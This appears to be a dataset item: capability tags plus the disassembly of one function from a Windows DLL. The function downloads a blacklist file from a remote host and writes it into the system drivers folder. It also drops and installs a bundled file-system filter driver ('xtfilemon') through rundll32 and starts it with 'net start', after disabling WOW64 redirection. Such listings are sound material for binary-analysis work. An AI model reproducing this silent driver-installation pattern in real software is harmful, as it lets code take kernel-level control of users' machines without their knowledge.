Function at 0x180015690
Capabilities:
Create process on windows
Extract resource via kernel32 functions
Get common file path
Link many functions at runtime
Terminate process

Disassembly:
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r14
sub rsp, 0x160
mov rax, qword [0x1800393f8]
xor rax, rsp
mov qword [rsp + 0x150], rax
lea rcx, [0x180032d18]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.IsWow64Process
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r14d, r14d
mov rdi, rax
mov dword [rsp + 0x30], r14d
test rax, rax
je 0x18001572d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rdx, [rsp + 0x30]
mov rcx, rax
call rdi
test eax, eax
jne 0x180015700
mov dword [rsp + 0x30], r14d
jmp 0x18001572d
cmp dword [rsp + 0x30], r14d
je 0x18001572d
lea rcx, str.kernel32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.Wow64EnableWow64FsRedirection
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x18001572d
xor ecx, ecx
call rax
mov rcx, qword [0x18003be50]
call fcn.1800010a0
mov rbp, rax
test rax, rax
jne 0x180015746
mov rbp, r14
jmp 0x18001575e
mov rdx, rax
mov ecx, 0x400
mov dword [rax + 4], r14d
call fcn.180001120
mov qword [rbp + 8], rax
mov byte [rax], r14b
lea rcx, [rsp + 0x40]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp eax, 0x104
jae 0x18001577c
mov eax, eax
mov byte [rsp + rax + 0x40], r14b
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
lea rcx, [rsp + 0x40]
call fcn.1800012d0
lea rdx, str.drivers_
mov r8d, 9
mov rcx, rax
mov r12, rax
call fcn.180001440
lea r8, [0x180032a0c]
lea rdx, [0x180032a08]
mov rcx, r12
call fcn.180001bc0
mov rcx, qword [0x18003be50]
call fcn.1800010a0
mov rsi, rax
test rax, rax
jne 0x1800157e1
mov rsi, r14
jmp 0x1800157f9
mov rdx, rax
mov ecx, 0x1000
mov dword [rax + 4], r14d
call fcn.180001120
mov qword [rsi + 8], rax
mov byte [rax], r14b
lea rcx, str.http:__cdn.p2ptool.com_p2p_black.txt
mov rdx, rsi
call fcn.180005df0
test eax, eax
je 0x180015afa
mov rdx, qword [rsi + 8]
lea rcx, [0x180033950]
mov qword [rsp + 0x180], rbx
mov qword [rsp + 0x188], r13
call fcn.180003b60
mov r8, qword [r12 + 8]
lea rdx, str._sblackList.base
mov rcx, rbp
call fcn.180001ad0
mov rcx, rsi
call fcn.180001d90
mov r8d, dword [rsi + 4]
mov rdx, qword [rsi + 8]
mov rcx, qword [rbp + 8]
call fcn.180003830
mov rdx, qword [rbp + 8]
lea rcx, [0x180033978]
call fcn.180003b60
lea rcx, [0x180032d18]
mov edi, 0x68
mov dword [rsp + 0x30], r14d
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.IsWow64Process
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x1800158ac
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rdx, [rsp + 0x30]
mov rcx, rax
call rbx
cmp dword [rsp + 0x30], r14d
mov rbx, qword [0x18003dff8]
mov eax, 0x69
cmovne edi, eax
lea r8, [0x180033984]
mov rcx, rbx
movzx edx, di
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov r13, rax
test rax, rax
jne 0x1800158e9
lea rcx, [0x1800329f8]
call fcn.180003ac0
jmp 0x18001592a
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rdx, r13
mov rcx, rbx
mov edi, eax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r8d, edi
mov rcx, rsi
mov rdx, rax
mov dword [rsi + 4], r14d
call fcn.180001980
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov r8, qword [r12 + 8]
lea rdx, str._sxtfilemon.sys
mov rcx, rbp
call fcn.180001ad0
mov r8d, dword [rsi + 4]
mov rdx, qword [rsi + 8]
mov rcx, qword [rbp + 8]
call fcn.180003830
mov rdx, qword [rbp + 8]
lea rcx, [0x180033978]
call fcn.180003b60
mov rbx, qword [0x18003dff8]
lea r8, [0x180033984]
mov rcx, rbx
mov edx, 0x6a
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov r13, rax
test rax, rax
jne 0x180015991
lea rcx, [0x1800329f8]
call fcn.180003ac0
jmp 0x1800159d2
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rdx, r13
mov rcx, rbx
mov edi, eax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r8d, edi
mov rcx, rsi
mov rdx, rax
mov dword [rsi + 4], r14d
call fcn.180001980
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov r8, qword [r12 + 8]
lea rdx, str._sxtfilemon.inf
mov rcx, rbp
call fcn.180001ad0
mov r8d, dword [rsi + 4]
mov rdx, qword [rsi + 8]
mov rcx, qword [rbp + 8]
call fcn.180003830
mov rdx, qword [rbp + 8]
lea rcx, [0x180033978]
call fcn.180003b60
mov rdx, qword [r12 + 8]
lea rcx, str.syssetup_SetupInfObjectInstallAction_DefaultInstall_128__sxtfilemon.inf
call fcn.1800018a0
lea r8, str.c:windows_system32_rundll32.exe
xor edx, edx
mov r9, qword [rax + 8]
xor ecx, ecx
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x1770
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.net_start_xtfilemon
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, [0x180032d18]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.IsWow64Process
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r13, qword [rsp + 0x188]
mov rbx, qword [rsp + 0x180]
mov rdi, rax
mov dword [rsp + 0x30], r14d
test rax, rax
je 0x180015acf
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rdx, [rsp + 0x30]
mov rcx, rax
call rdi
test eax, eax
je 0x180015acf
cmp dword [rsp + 0x30], r14d
je 0x180015acf
lea rcx, str.kernel32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.Wow64EnableWow64FsRedirection
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180015acf
mov ecx, 1
call rax
xor eax, eax
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.1800178a0
lea r11, [rsp + 0x160]
mov rbp, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop r12
pop rdi
ret
lea rcx, str.c:_xscp.txt
call fcn.180003a10
lea rcx, [0x1800339a8]
call fcn.180003b60
or ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]